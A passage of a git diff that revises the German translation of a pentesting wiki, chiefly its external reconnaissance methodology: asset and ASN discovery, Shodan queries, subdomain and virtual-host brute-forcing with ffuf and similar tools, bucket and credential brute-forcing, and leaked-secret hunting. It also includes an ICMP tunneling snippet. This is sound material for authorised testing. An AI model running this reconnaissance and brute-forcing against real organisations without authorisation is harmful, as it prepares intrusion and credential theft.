+Root wird in beiden Systemen benötigt, um TUN-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c -p P@ssw0rd -v
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **ist ein Tool, um Lösungen mit einem einzigen Befehl ins Internet zu exponieren.**\
-_Exposition URI sind wie:_ **UID.ngrok.io**
+_Expositions-URIs sind wie:_ **UID.ngrok.io**
### Installation
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index b69c3d9bd..c4dd999cc 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -1,19 +1,19 @@
-# Externe Recon-Methode
+# External Recon Methodology
{{#include ../../banners/hacktricks-training.md}}
-## Entdeckung von Vermögenswerten
+## Assets discoveries
-> Ihnen wurde gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
+> Man hat Ihnen gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Vermögenswerte** dieser Unternehmen zu ermitteln. Dazu werden wir:
1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Geltungsbereich geben.
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies wird uns die IP-Bereiche geben, die jedem Unternehmen gehören.
-3. Rückwärtige Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen).
+3. Reverse-Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen).
4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
-### **Übernahmen**
+### **Acquisitions**
Zunächst müssen wir wissen, welche **anderen Unternehmen im Besitz des Hauptunternehmens sind**.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach** dem **Hauptunternehmen** zu **suchen** und auf "**Übernahmen**" zu **klicken**. Dort sehen Sie andere Unternehmen, die von dem Hauptunternehmen übernommen wurden.\
@@ -34,7 +34,7 @@ Sie können **nach** dem **Namen** des Unternehmens, nach **IP** oder nach **Dom
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatisch die ASNs am Ende des Scans zusammen.
+Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**** die ASNs am Ende des Scans automatisch zusammen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -56,8 +56,8 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in
### **Auf der Suche nach Schwachstellen**
-An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also könnten Sie, wenn Sie dazu berechtigt sind, einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
-Außerdem könnten Sie einige [**Portscans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
+An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
+Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
**Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
## Domains
@@ -88,7 +88,7 @@ Sie können Online-Tools wie verwenden:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
-- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenlos API.
+- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
- [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
@@ -96,7 +96,7 @@ Sie können Online-Tools wie verwenden:
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen Whoxy-API-Schlüssel).\
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
-**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal weitere Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
+**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
### **Trackers**
@@ -139,11 +139,11 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
-### **Copyright / Uniq string**
+### **Urheberrecht / Einzigartige Zeichenfolge**
-Suchen Sie auf den Webseiten **Strings, die in verschiedenen Webseiten derselben Organisation geteilt werden könnten**. Der **Copyright-String** könnte ein gutes Beispiel sein. Suchen Sie dann nach diesem String in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
+Suchen Sie auf den Webseiten nach **Zeichenfolgen, die in verschiedenen Webseiten derselben Organisation geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
-### **CRT Time**
+### **CRT-Zeit**
Es ist üblich, einen Cron-Job zu haben, wie
```bash
@@ -159,7 +159,7 @@ Sie können eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc
### **Passive Übernahme**
-Offensichtlich ist es üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden Sie durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
+Es ist anscheinend üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden Sie durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
@@ -169,7 +169,7 @@ Offensichtlich ist es üblich, dass Menschen Subdomains IPs zuweisen, die zu Clo
**Shodan**
-Wie Sie bereits wissen, ist der Name der Organisation, die den IP-Bereich besitzt. Sie können nach diesen Daten in Shodan suchen mit: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
+Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie mit diesen Daten in Shodan suchen: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden.
@@ -179,23 +179,23 @@ Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der O
### **Nach Schwachstellen suchen**
-Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen.
+Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen.
-Wenn Sie eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **einfachen Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
-_Note, dass manchmal die Domain innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also nicht im Geltungsbereich liegt, seien Sie vorsichtig._
+Wenn Sie eine **Domain mit einer IP finden, die sich von den bereits in der Asset-Entdeckung gefundenen unterscheidet**, sollten Sie einen **einfachen Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
+_Beachten Sie, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._
## Subdomains
> Wir kennen alle Unternehmen im Geltungsbereich, alle Vermögenswerte jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind.
-Es ist Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
+Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
> [!TIP]
> Beachten Sie, dass einige der Tools und Techniken zur Auffindung von Domains auch helfen können, Subdomains zu finden.
### **DNS**
-Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn anfällig, sollten Sie dies melden).
+Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch einen **Zonenübertrag** versuchen (wenn anfällig, sollten Sie dies melden).
```bash
dnsrecon -a -d tesla.com
```
@@ -302,7 +302,7 @@ shodan domain
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
-- [**Censys Subdomain-Finder**](https://github.com/christophetd/censys-subdomain-finder)
+- [**Censys Subdomain Finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mithilfe von aktivem Brute-Force zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mit aktivem Brute-Force zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -370,12 +370,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene.
+- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenen Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
-- [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
-- Sie können die **wordlist** für altdns-Permutationen [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
+- [**altdns**](https://github.com/infosec-au/altdns): Abgesehen von der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
+- Sie können altdns-Permutationen **Wortliste** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf während des DNS-Scans gesammelten Informationen weiter zu erweitern.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Es nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
```
echo www | subzuf facebook.com
```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Virtuelle Hosts**
-Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder indem Sie **VHost-Domainnamen in dieser IP brute-forcen**.
+Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder **VHost-Domainnamen in dieser IP brute-forcen**.
#### OSINT
@@ -421,7 +421,7 @@ Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://
**Brute Force**
-Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie zu brute-forcen:
+Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie brute zu forcen:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -447,19 +447,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Buckets Brute Force**
Während Sie nach **Subdomains** suchen, achten Sie darauf, ob sie auf irgendeine Art von **Bucket** zeigen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
-Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Geltungsbereich kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/index.html).
+Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorisierung**
Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem Sie die **Certificate Transparency** Logs überwachen, was [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut.
-### **Nach Schwachstellen suchen**
+### **Auf der Suche nach Schwachstellen**
Überprüfen Sie auf mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
-_Note, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._
+_Bedenken Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Scope ist. Seien Sie vorsichtig._
## IPs
@@ -472,7 +472,7 @@ Mit Diensten aus den folgenden **kostenlosen APIs** können Sie auch **frühere
Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen, indem Sie das Tool [**hakip2host**](https://github.com/hakluke/hakip2host) verwenden.
-### **Nach Schwachstellen suchen**
+### **Auf der Suche nach Schwachstellen**
**Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). In den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
@@ -480,31 +480,31 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen,
## Webserver-Jagd
-> Wir haben alle Unternehmen und deren Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Geltungsbereich. Es ist Zeit, nach Webservern zu suchen.
+> Wir haben alle Unternehmen und ihre Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
-In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Geltungsbereich sehen.
+In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
-Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet sein wird, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Geltungsbereich erlaubt**).
+Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Scope erlaubt**).
-Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/index.html#http-port-discovery).\
-Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
+Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, finden Sie [**hier mit masscan**](../pentesting-network/index.html#http-port-discovery).\
+Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versuchen, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Screenshots**
-Jetzt, da Sie **alle Webserver** im Geltungsbereich (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**) entdeckt haben, wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Lassen Sie uns das einfach machen und beginnen Sie einfach damit, Screenshots von allen zu machen. Nur durch **einen Blick** auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die eher **anfällig** für **Schwachstellen** sind.
+Jetzt, da Sie **alle Webserver** im Geltungsbereich (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**) entdeckt haben, wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Lassen Sie uns das einfach machen und beginnen Sie einfach damit, Screenshots von allen zu machen. Schon durch **einen Blick** auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die eher **anfällig** für **Schwachstellen** sind.
Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen zu sagen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
+Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchlaufen und Ihnen zu sagen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
## Öffentliche Cloud-Ressourcen
Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, sollten Sie **mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren**. Zum Beispiel, für ein Krypto-Unternehmen könnten Sie Wörter wie: `"crypto", "wallet", "dao", "", <"subdomain_names">` verwenden.
-Sie benötigen auch Wortlisten von **häufig verwendeten Wörtern in Buckets**:
+Sie benötigen auch Wortlisten mit **häufig verwendeten Wörtern in Buckets**:
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@@ -514,7 +514,7 @@ Dann sollten Sie mit diesen Wörtern **Permutationen** generieren (siehe [**Seco
Mit den resultierenden Wortlisten könnten Sie Tools wie [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS suchen sollten**.
+Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen sollten.
### **Auf der Suche nach Schwachstellen**
@@ -553,11 +553,11 @@ Credential Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen **s
Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt werden.\
Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber auszuführen.
-**Leakos** kann auch verwendet werden, um **gitleaks** gegen all den **Text** aus den **URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
+**Leakos** kann auch verwendet werden, um **gitleaks** gegen all den **Text** der **URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
#### Github Dorks
-Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation, die Sie angreifen, suchen könnten:
+Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie in der Organisation, die Sie angreifen, suchen könnten:
{{#ref}}
github-leaked-secrets.md
@@ -565,7 +565,7 @@ github-leaked-secrets.md
### Pastes Leaks
-Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
+Manchmal werden Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite veröffentlichen**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
### Google Dorks
@@ -596,22 +596,22 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
Die **Mehrheit der Schwachstellen**, die von Bug-Huntern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Testmethodik für Webanwendungen** sprechen, und Sie können [**diese Informationen hier finden**](../../network-services-pentesting/pentesting-web/index.html).
-Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, auch wenn Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
+Ich möchte auch die Sektion [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) besonders erwähnen, da Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie jedoch nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
## Rekapitulation
-> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Aufzählungen** durchgeführt. Ja, es ist grundlegend, weil viel mehr Aufzählungen durchgeführt werden können (wir werden später mehr Tricks sehen).
+> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Enumeration** durchgeführt. Ja, es ist grundlegend, weil viel mehr Enumeration durchgeführt werden kann (wir werden später mehr Tricks sehen).
-Sie haben bereits:
+Sie haben also bereits:
1. Alle **Unternehmen** im Geltungsbereich gefunden
-2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
+2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
3. Alle **Domains** gefunden, die zu den Unternehmen gehören
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.
6. Alle **Webserver** gefunden und einen **Screenshot** davon gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören.
-8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** bringen könnten.
+8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** verschaffen könnten.
9. **Pentesting aller Webseiten, die Sie gefunden haben**
## **Vollständige Recon Automatische Tools**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index dd3e93f37..785eabed8 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -1,10 +1,10 @@
-# Linux Privilege Escalation
+# Linux Privilegieneskalation
{{#include ../../banners/hacktricks-training.md}}
-## System Information
